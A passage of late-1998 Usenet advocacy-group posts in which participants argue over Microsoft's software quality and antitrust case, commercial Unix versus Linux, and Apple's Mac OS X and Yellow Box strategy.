References: <36717987.21076075@news2.asan.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de>
From: Darin Johnson <darin@usa.net.nospam>
Message-ID: <y1uaf0rr02y.fsf@acuson.com>
Organization: Acuson Corp
Date: 13 Dec 1998 17:20:21 -0800
NNTP-Posting-Date: Sun, 13 Dec 1998 17:21:10 PDT
mkb@altair.mayn.de (Matthias Buelow) writes:
> I'd say "higher quality" are Digital Unix, Solaris, HP-UX (yes),
> AIX even (it has some awesome features), BSDi and the free BSD versions.
Hmm, I find Linux preferrable to those commercial versions (haven't
tried the BSDi or free BSD's). I would find it preferrable *even* if
I paid the same price! Most Linux distributions, out of the box, are
better than the commercial versions, out of the box (ie, you don't
have to scour ftp sites for the missing software utilities).
The only higher quality you get with the commercial unixes are more
gloss to the docs and more availability of commercial applications).
--
Darin Johnson
Gravity is a harsh mistress -- The Tick
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: M$: Really the Best Talent?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F3xK88.CAw@bilver.magicnet.netREMOVETHIS>
References: <36717987.21076075@news2.asan.com> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com>
Date: Mon, 14 Dec 1998 01:02:32 GMT
In article <367434cd.1058311@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>On Sun, 13 Dec 1998 14:58:38 -0500, in comp.os.ms-windows.advocacy
>nojunkhattonr@aug.com (Rick) wrote:
>
>>Willy <willy1@rocketmail.com> wrote:
>>
>>> In any case, if you read the transcripts you'll see that AOL was tired
>>> of Netscape's unresponsiveness to their request for an integrated
>>> browser. AOL had to go with IE for technical reasons. The fact that
>>> they bought Netscape and will most likely not renew their agreement
>>> with Microsoft clearly indicates that AOL, not Microsoft, controls
>>> what AOL does.
>>
>>Didnt AOL already renew the IE contract.. AFTER buying Netscape...
>
>I don't know. Where did you read that? I'd like to see it.
>>Oh, ask Go computing, and Digital Research about Microsofts thug-like
>>marketplace clout.
>Go killed itself (like the Newton) The PalmPilot is proof positive
>that if you implement an idea properly, it will take off.
Go didn't really kill iteself. It was done by Microsoft and IBM.
The book documenting Go's short history is called "Start Up". What
got the 'big boys' interested was that State Farm wanted to equip
all their agents with the Go devices. IBM smelled money. MS worte
a competing pen based language. Once someone at MS said "It only
took us $4 million to sink a $70 million company" when refering to
Go.
--
Bill Vermillion bv @ wjv.com
From: mawarkus@t-online.de (Matthias Warkus)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 13 Dec 1998 23:10:15 GMT
Organization: Royal Space Navy / Question Mark Software
Message-ID: <751hgn$lst$2@news00.btx.dtag.de>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com> <74uq6j$90j$6@news01.btx.dtag.de> <75119v$712@news1.panix.com>
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Sal Denaro schrieb:
>
> On 12 Dec 1998 22:20:03 GMT, Matthias Warkus <mawarkus@t-online.de> wrote:
> >Sal Denaro schrieb:
> >> NS was the #1 browser on Linux _before_ it was OpenSourced. Making it
> >> OpenSource didn't bring new users to it; the fact that of the two major
> >> browsers, it is the only on that runs on Linux did that.
> >Fuddleducks. On Linux, Lynx is a major browser, too.
> >Seriously.
>
> I forgot about that one.
>
> I used to use it before tables and frames started to infest the web.
AFAIK, Lynx handles frames and tables pretty well, but it's different
from a graphical browser, of course. But you can get to like it.
mawa
--
Matthias Warkus | mawa@iname.com | Dyson Spheres for sale!
My Geek Code is no longer in my .signature. It's available on e-mail
request. It's sad to live in a world where knowing how to programme
your VCR actually lowers your social status...
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 14 Dec 1998 03:03:42 GMT
Message-ID: <slrn77900a.oml.float@interport.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com>
NNTP-Posting-Date: 14 Dec 1998 03:03:42 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On Sat, 12 Dec 1998 17:52:36 GMT, Willy <willy1@rocketmail.com> wrote:
>
>The "Name" field is a single field where you can enter the name in
>Title-First-Middle-Last-Suffix fashion or Last, Title-First-Middle
>fashion. Just about any way you enter the name, Outlook will
>recognize the various parts. Also, Outlook has an understanding of
>names and can correctly recognize last names such as "Van Derlin"
>without making the mistake of making "Van" the middle name. The end
>result is that a person can easily enter a name in any format they
>wish and the parts of the name will be properly identified and stored.
>There is a tremendous amount of code behind this seemingly simple
>interface.
What you see as a strength, I see as a weakness. The features you laud
can only operate because the software makes a large number of assumptions
about its environment. This is asking for trouble: software cannot
usually tell when an assumption has gone wrong, and has no way of
backtracking and reformulating hypotheses.
Perhaps programmers should be required to do either systems programming,
tech support or system administration before they're allowed to write
applications.
^
|
please note, the above suggestion is facetious (or more accurately HHOS)
--
Ben
"You have your mind on computers, it seems."
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 00:05:06 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981214000506480154@ts2-18.aug.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com>
Willy <willy1@rocketmail.com> wrote:
> >Oh, ask Go computing, and Digital Research about Microsofts thug-like
> >marketplace clout.
>
> Go killed itself (like the Newton) The PalmPilot is proof positive
> that if you implement an idea properly, it will take off.
>
Microsoft videotaped Go's demo, buitl a demo that merely drew the same
screens as the Go demo, preannounced Pen windows and froze the market,
killing Go. Pen Windows, when it did finally arrive, sucked. It stil
does.
> Digital Research produced a version of DOS that simply wasn't worth
> the money I paid for it. I bought version 5 and later upgraded to
> version 6. There simply wasn't anything there to make it stand out.
> So why buy a fake when you could have the real thing for the same
> money? There was just no reason for DR-DOS to exist.
The reason was as an alternative to MS's DOS, until M$ prannounced
versions of DOS, then didnt deliver on the promised features that was
supposed to make it "better" than DR DOS.
--
Remove nojunk from my email address to reply by email.
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 14 Dec 1998 05:41:15 GMT
Organization: University of Maryland, College Park
Message-ID: <7528dr$rfe$1@hecate.umd.edu>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Rick wrote:
: > .. and every single Unix or Unix variant includes everything listed
: > above in every distributon?
: I don't know, I haven't used them all. At any rate, the ones I'm
: familiar with *do* have these features. You asked me to describe the
: measure of a "good Unix"; well, to the extent that a Unix has these
: features, in my opinion, it is making a start at being a "good Unix".
I would have to disagree. Many of the things you listed are certainly
available for every unix system, yet they certainly would not ship
with them. I'm fiddling with Solaris 7 as I type this, trying to
install gcc, tcsh (doesn't come with tcsh or bash) no gzip, no perl..,
no "less" But all these things are certainly available, you just have
to fetch them yourself. IMO, defining a "good unix" from this standpoint
doesn't work, because then every unix would be a "good unix".
: The key is to watch the features included in vendor Unixes. These are
: the ones in the most integrated networks bearing the highest load and
: being used by the most experienced people. This is not to except Linux
: or the BSDs from the description above, but the vendors really do
: represent the benchmark Unix environment.
: Most vendor Unixes have standardized around SYSV and/or POSIX. I've
: excluded SYSV issues, for the most part, for the sake of being generic,
: and for the sake of including BSD-ish systems like Linux which don't
: care to tote around the weight and administrative issues associated with
: SYSV. I've also excluded OpenGL from the list, although every major
: vendor ships an OpenGL implementation in addition to PHIGS.
: Some people may wonder about certain items on the list, thinking them
: irrelevant; they are explicitly mentioned (as opposed to being
: *implictly* mentioned) because they are key points of differentiation
: between Unix and Windows NT. YP, I-node filesystems, and network
: administration are some of these. Those who believe them to be
: irrelevant should discuss them with engineers who have worked on Unix-NT
: integration projects.
: Particularly sticky is the part about a compatible C library. Here, even
: two "good Unixes" do not always agree, although the differences are
: usually well-known and fairly simple to repair. In general, the
: unexpected difficulties are bug-related.
Well, I'd like my "good unix's" to have compatible libraries, and
easy as 1-2-3 to recompile a source I might fetch from Outer Mongolia.
:) Just a dream.
: MJP
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
Message-ID: <3674BBCA.7BB77907@nstar.net>
Date: Mon, 14 Dec 1998 01:18:34 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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David T. Wang wrote:
> I would have to disagree. Many of the things you listed are certainly
> available for every unix system, yet they certainly would not ship
> with them. I'm fiddling with Solaris 7 as I type this, trying to
> install gcc, tcsh (doesn't come with tcsh or bash) no gzip, no perl..,
> no "less" But all these things are certainly available, you just have
> to fetch them yourself.
Like I said, it's a metric. Not every Unix has all of these things; many
don't. However, it's a broad series of categories that attempts to cover
the "good"ness of many different "good Unixes". It's a shame that most
vendors don't ship tcsh and bash, but they're good shells to have.
Convex's HP-UX system setup (while I was there) involved installing a
fixed set of depots from a central server; these included tcsh, bash,
less, gzip, perl, pot, unzip, and a few others. In my opinion they're
desirable tools and a "good Unix" should include them. But as I said,
lack of these things does not automatically make it a "bad Unix", it's
just a small part of the measurement.
> IMO, defining a "good unix" from this standpoint
> doesn't work, because then every unix would be a "good unix".
No, not so. In any case I suspect it will exclude Mac OS X, which was
the point.
> Well, I'd like my "good unix's" to have compatible libraries, and
> easy as 1-2-3 to recompile a source I might fetch from Outer Mongolia.
> :) Just a dream.
Dream on! Maybe when there's a high-level, extremely-common language
that replaces C, which won't happen anytime soon. Imagine if every
vendor shipped Perl with a silicon VM, now that might be a solution...
:-)
MJP
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de> <y1uaf0rr02y.fsf@acuson.com>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <3674c514.0@uni-wuerzburg.de>
Date: 14 Dec 98 07:58:12 GMT
In article <y1uaf0rr02y.fsf@acuson.com>,
Darin Johnson <darin@usa.net.nospam> wrote:
>> I'd say "higher quality" are Digital Unix, Solaris, HP-UX (yes),
>> AIX even (it has some awesome features), BSDi and the free BSD versions.
>
>Hmm, I find Linux preferrable to those commercial versions (haven't
>tried the BSDi or free BSD's). I would find it preferrable *even* if
>I paid the same price! Most Linux distributions, out of the box, are
>better than the commercial versions, out of the box (ie, you don't
>have to scour ftp sites for the missing software utilities).
>
>The only higher quality you get with the commercial unixes are more
>gloss to the docs and more availability of commercial applications).
They're more reliable, give more performance, have more functionality
and often come with better software (DEC's compiler vs. gcc, for
example). There might be counter-examples, like SCO's OpenSewer, but
one doesn't use these, of course :P.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 03:09:02 -0400
Organization: Brown University
Message-ID: <3674B98C.45BC948D@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com>
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Willy wrote:
> Yes you can. I guess you just don't know what you're talking about.
> And Microsoft develops functionality based on user feedback. There is
> simply no reason for *any* company to ignore customer feedback and
> develop feature of no value.
When exactly did I contend that MS apps and OS have no value? I know that the
apps are functional for many users. I'm also sure that their UI research is
extensive. That has little to do with my contention that MS apps are not
extensible by design. OLE is a horrible technology. Have you ever tried to
write a large application using it? It's bloated and a resource hog not to
mention slow. It's also totally nonportable.
> >*Sigh* I know that there are other choices. I use them more frequently
> >than the MS options available to me. The fact that other choices exist
> >is irrelevant to the DOJ's suit. How competitive do you think Goldmine,
> >for example, can be if MS is bundling Outlook with everything it can
> >think of? The notion that an OEM cannot install the non-MS browser of
> >their choice without MS threatening to pull their Win95 license
> >illustrates that MS has sufficient clout to stifle competition.
>
> That is not so. Companies can and do install Navigator on computers.
You are simply naive if you don't think MS exerts considerable pressure on
OEMs to install and use their products.
> > The fact
> >that MS can force a company to adopt its browser by dangling the prize
> >of bundling with Windows illustrates that MS has sufficient clout to
> >stifle competition.
>
> Oh yeah; Microsoft really forced AOL. Sure.
>
> Don't you think that AOL should share a little bit of the
> responsibility by being so greedy?
>
> In any case, if you read the transcripts you'll see that AOL was tired
> of Netscape's unresponsiveness to their request for an integrated
> browser. AOL had to go with IE for technical reasons. The fact that
> they bought Netscape and will most likely not renew their agreement
> with Microsoft clearly indicates that AOL, not Microsoft, controls
> what AOL does.
Actually, no. That's what the lawyer was saying. The AOL exec (Colburn, I
think) maintains that there was significant, if subtle, coercion.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 03:12:04 -0400
Organization: Brown University
Message-ID: <3674BA41.9F874D97@brown.edu>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com>
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Willy wrote:
> >You never change the routing table, or configure a different nameserver?
>
> No. I haven't had need to touch the routing table and my ISP assigns
> the nameserver along with the IP. Pretty cool, huh? The NT servers
> and NT workstations at my office are setup the same way.
Good for you. But what about your ISP? If their nameserver goes down or they
change nameservers, they need to change the nameserver info on their servers
to point to another machine. Why should that require a reboot? Do you want to
be down -- even if only for a few minutes? What if you're a e-business taking
orders online and potential clients can't reach you because you are having to
reboot your server. Pretty cool, huh? I think not.
From: jc403@nospam.columbia.edu (Jackson Cheung)
Newsgroups: comp.sys.next.advocacy
Subject: MacOS X and file associations, etc.
Date: Mon, 14 Dec 1998 03:22:31 -0500
Organization: Columbia University
Message-ID: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu>
Does anyone know what is going to happen to the current mac system of
having the desktop DB and resource forks to determine stuff like file
associations. I assume that all this stuff is still in the blue box (and
maybe carbon?). However, will we be be moving into a world of 3 letter
extensions when shifting to MacOS X (specifically Yellow box)? If it's
something like the latter, does this mean there will be some sort of
database analogous to a Windows registry (yikes)?
--
-Jackson
remove "nospam" to email me.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 03:33:12 -0400
Organization: Brown University
Message-ID: <3674BF34.13D10FAE@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com>
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Willy wrote:
> Yet, these manufacturers still don't offer other OSes.
> Why? Because the demand is nearly non-existant.
No. They don't offer other OSes because they are under contract with MS. MS
still charges fees on a 'per computer line' basis. This does avoid the 'per
computer sold' issue but that means that Dell and Compaq have to go through
the trouble of creating another 'line' of computers to avoid paying MS fees.
> You seem to mistake every company that appears to be under Microsoft's
> thumb as some sort of public service organization fighting for their
> survival. These are all for-profits companies that have become larger
> than Microsoft because of Windows. Compaq and Dell both have larger
> revenues than Microsoft so don't cry too hard for them.
Once again: this is not about who is making money. Compaq, Dell, Microsoft --
and even I -- are all doing well because of the success of the industry. This
is about whether MS acted illegally and anti-competatively.
> >And why should any startup company look to even try to write an
> >alternative OS when MS has the market cornered? Why should any startup
> >company try to write a word processor to replace Word when MS owns so
> >much of that market?
>
> I'll tell you why. There are barriers to the market that have nothing
> to do with Microsoft's dominance. First, there's the fact that there
> are two other very powerful word processors out there. If MS Word
> were to disappear tomorrow, any startup would still have to contend
> with Lotus WordPro and Corel WordPerfect; both of which can kick the
> butt of any startup. Second, the effort and resources required to
> create a world-class application like Word is tremendous. Unlike a
> chip competitor like Cyrix, which can farm out the production of
> chips, Software developers can't simply farm out development of a new
> complex product (well, they may be able to do some but it cost a
> fortune.)
Granted, Word is a less impressive example that Windows. But they both still
work. Lots of people have great ideas and the know-how to implement them with
resources that pale beside those of MS. You don't need a fleet of thousands of
programers to create some really great applications. Think Adobe Photoshop. Or
Qualcomm's Eudora. Or the web browser. Do you know how MS got started in the
web server business? They didn't bring the power of their squadrons to bear on
it as you may suspect. They bought the NCSA Mosaic code and went from there.
Yes, the NSCA Mosaic code that was created by less than 3 dozen
twenty-somethings in the middle of Illinois. But if a startup company has a
great idea or implementation and can't get it off the ground because it
competes head on with MS and various OEMs are prevented from signing contracts
with that company, that's anti-competative and illegal.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 12 Dec 1998 20:36:47 -0500
Organization: Brown University
Message-ID: <36731A2F.8BB882A2@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com>
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Willy wrote:
> On Sat, 12 Dec 1998 14:06:55 GMT, in comp.os.ms-windows.advocacy
> petrich@netcom.com (Loren Petrich) wrote:
>
> >In article <3671fcae$0$226@nntp1.ba.best.com>,
> >Boris <XXXboris@movil.comXXX> wrote:
> >
> >>Microsoft has the best technical talent in the industry. Where would that
> >threat emerge >from?
> >
> > And how is that supposed to be the case?
> >
> > That would not be very apparent from the low quality of some of
> >its software.
> >
> > Consider Linux -- the writers of the Halloween Documents had
> >conceded how high-quality it is. It has a reputation for being *much* more
> >stable than M$ OSes -- _on_the_same_hardware_. So why was a loose
> >community of volunteers able to do what (supposedly) the world's best
> >programming talent was unable to do?
>
> The problem is that your only criteria for "quality" software seems to
> be whether it's stable or not. You don't take usability and feature
> set into account. You also don't take into account that Microsoft's
> products try to meets the needs of 100 million users.
That's certain on my short list of criteria for defining quality software. I
wouldn't dream of calling software that insisted on being rebooted daily
quality. What other things did you have in mind? Completeness? Performance? In
contrast to Windows, Linux has them, too. And MS is not trying to meet the
needs of 100 million users. It's trying to meet the need of 1
lowest-common-denominator user.
<much of Outlook example cut>
> Microsoft does this kind of thing all over the place. Once Outlook
> knows the country (from the address) then it gets the proper telephone
> format and insures that your telephone numbers are entered properly.
> The list goes on and on.
>
> What's also difficult is the research needed to gather all the
> information.
You've managed to disprove yourself by pointing out one of the highly fatal
flaws in Outlook and many other MS products. If the information/format changes
after the software has been written, the software gives the user has no
recourse. For example, in parts of Maryland, phone users must dial the area
code, even for local calls. Dialup networking in Win95 can't handle that
because the developers didn't consider such a case. So if I told my machine
that my phone number was 301-681-2222 and my ISP's number was 301-593-9876, it
would insist on dialing only the last 7 digits. Sure, there are ways around it.
I can specify my area code as something else or specify my ISP's number as
301-301-593-9876. But the point is that assuming the responsibility for knowing
what's best for all users -- MS's mentality -- is highly erroneous.
> So I think their software is of high quality because of it's high
> usability (it also doesn't crash on my machine so I think it's well
> written as well.)
I'm sure MS sinks untold billions into UI designers, maybe even as much as
their marketing department. Hence, their interfaces and functionality may
indeed be sufficient for many. The point is, however, that there are plenty of
people who would rather use something else but can't because their world is to
Windows-centric. Hence, the DOJ's suit.
BEN
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <14Nc2.20795$q15.465873@news.san.rr.com> <19981213093837.15584.00002564@ng-fi1.aol.com>
Subject: Re: NEXT UI on MacOS 8.x
Message-ID: <Yu4d2.20934$q15.472137@news.san.rr.com>
Date: Mon, 14 Dec 1998 01:00:10 -0800
NNTP-Posting-Date: Mon, 14 Dec 1998 01:02:48 PDT
Organization: TWC Road Runner, San Diego, CA
WillAdams wrote in message <19981213093837.15584.00002564@ng-fi1.aol.com>...
>"Ed Deans." <eadeans@san.rr.com> said:
>>Via the magic of the Kaleidoscope control panel
(<http://kaleidoscope.net/>)
>>for System 7 through Mac OS 8.5, someone has put together what looks like
a
>>good rendition of the unused NEXTSTEP 4.0 UI.
>
>Looks like, not works like.
Good rendition was meant in regards to the look rather than the function.
Specific knowledge of Kaleidoscope or the other mentions in this group to
which I referred would have made it clear I was only talking about the look.
Sorry if I confused anyone.
I figured the purple scrollbar haters would like seeing this.
--Ed.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
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Date: 14 Dec 98 09:04:27 GMT
On Sun, 13 Dec 1998 21:59:54, sal@panix.com (Sal Denaro) thought
aloud:
> On 13 Dec 98 13:35:51 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
[little pruning]
> >> Seeing that OSX will run the opensource software that people use Linux
> >> to run, I don't see why Apple needs to port YB to Linux now.
> >Here's were our opinions differ the most. I see the port as an
> >opportunity with its window closing as time goes by.
>
> Why? Is the growth of Linux going to slow down? Is the Linux market going
> to reach saturation?
It's time-to-market issue, from Apple's POV. Until KDE and GNOME
advance further and become established standards in the *nix market
(with developers "invested" in their tools), there's an element of
"virgin-ness" in that market. Besides, the KDE and GNOME tools are
also targetting the WIN32 developers to growing extent.
> Right now there are perhaps 8-12 million Linux users. I can see that becoming
> 12-15 by mid '99 and 15-20 million by the end of '99. That is still only a
> dent in the total potential market.
IMO the potential Linux market includes some 100 million-odd systems
that Windows 2000 "obsoletes" within two years.
> I don't think we will reach a point where YB won't offer anything to Linux
> users until around 2002. I can see Apple being at a point where it is
> both possible and practical to do a port, long before that. Nicer hardware
> and better software are both in the pipeline and sales should be solid for
> the next year or so.
Agreed. Even "analysts" predict that Apple's hardware shipments have
stabilized at around 2.9M/year into the foreseeable future, based on
Apple's continuing on proprietary path.
> > And unlike
> >Windows, Linux can make Apple's hardware more attractive to the
> >mainstream as well by wiping away old software compatibility issues
> >which left Apple in a niche in the first place.
>
> The software compatibility issue that put Apple in a niche was the inability
> to run DOS and DOS Apps, and latter Windows and Windows Apps. The current
I would just put that a little differently. It was about someone else
(MS) controlling the proprietary APIs that populated the fiercely
competitive, huge but open PC market. The Linux market is a whole
different animal and Apple controls YB, thus the reference to Windows
- a closed market by definition.
> software compatibility issues are the lack of support for Visual Basic and
> MS Access that many companies use for custom line of business Apps.
>
> I don't think Linux is going to help with this at all.
I think it could - if YB is present - by taking mindshare off MS'
tied-to-Windows lineup and potentially moving it to YB which,
incidentally, could be the only thing spanning the Windows-Linux-Mac
triangle, with excellent development tools to boot. However if the
Windows-Linux axis becomes more developed by 3rd party offerings or
even by Microsoft (!), YB could be late to market and therefore it,
and by extension Mac OS X, would again be fighting from a niche
against _two_ matured markets.
> How many end users run web servers or SQL server or Perl scripts on their
> own? How many set up file sharing by themselves?
>
> Linux will help with those software compatibility issues, but so will OSX.
>
> <<clip>>
>
> >> it can not piggyback on Linux mindshare. Porting YB to Linux is not
> >> anywhere near what Apple needs to do to build up an industry around
> >> YB.
> >I tend to believe the Linux port would of high strategic importance.
> >Are you saying that YB for Windows and Mac OS X will be enough to
> >guarantee YB's future with adequate developer adoption?
>
> YB is a long term plan. I am reasonably certain that sales of WebObjects
> will fuel development in YB for the next few years.
And that will guarantee it an adequate developer adoption... for the
next few years? I can't blame you for not being an optimist. :-)
> > If so, in what
> >time frame do you see YB as becoming widely enough adopted to provide
> >the Mac OS X platform with the new apps to guarantee its viability.
>
> I don't see YB becoming that big a deal (outside of the old NeXT crowd)
> for a few years.
So any new PowerMacs will mainly/only appeal to those satisfied with
Carbon, or to lesser extent Unix-users, for years to come? A no-growth
strategy?
> You'll see Apps ported from the old NeXT crowd from day one. You might
> see fresh new Apps (and hopefully damn good ones) within 6-9 months after
> OSX ships.
>
> >How long can Carbon be expected to keep working for Apple (once it
> >even starts)?
>
> I have no idea.
Yikes! ;-)
> >> Very good integration between the user environment, the development
> >> tools and the base OS. I think that is the biggest selling point.
> >This leaves only the upcoming Mac OS X, and that was my point too. YB
> >on other platforms helps but Mac OS X offers unique benefits - but
> >only if YB becomes widely accepted. To those afraid that PowerMac
> >sales would plummet if YB ran on Linux - Jobs has acknowledged that
> >Apple is working hard to erase the hardware price disparity.
>
> Then it would make sense _after_ hardware price disparity was gone. :)
Apple doesn't have "a few years" to accomplish either that or YB
proliferation. I'd give them less than a year to gradually work on
hardware prices (Yosemite, Yosemite II in summer, and the G4/AltiVec
lineup shipping with Mac OS X in time for X-mas '99 sales. Done!) and
1=BD years to fully cover all strategic YB bases (new apps vs. Carbon).
> >> I didn't say they mean squat, I just don't think they justify the time
> >> and expense to port to Linux _now_ at the expense of other things Apple
> >> is working on.
> >Squat in near term...? :^) Anyway, I feel the time and expense
> >issues could be addressed with parallel development and selective
> >opensourcing, all weighted together with the momentum and
> >time-to-market questions. These are matters of setting priorities once
> >a strategy has been set.
>
> The priorities right now are OSX on the g3 and YB on WinNT and Win95.
> Beyond that is anyone's guess.
>
> >> Nor do I think Apple can use Linux as an excuse to not improve Apps
> >> support, hardware support or avoid improving the base OS.
> >Agreed. But Linux still provides a "relevance bridge" between PC and
> >Mac hardware platforms and YB could bridge the two in terms of
> >software compatibility. Think Mainstream.
>
> OSX on Intel could also provided a "relevance bridge". So could a ton
> of other things (like IDE hard drives and USB based peripherals)
OSX/Intel, even if it would be planned, would face a big, costly
compatibility barrier which OTOH Linux solves or has solved by huge
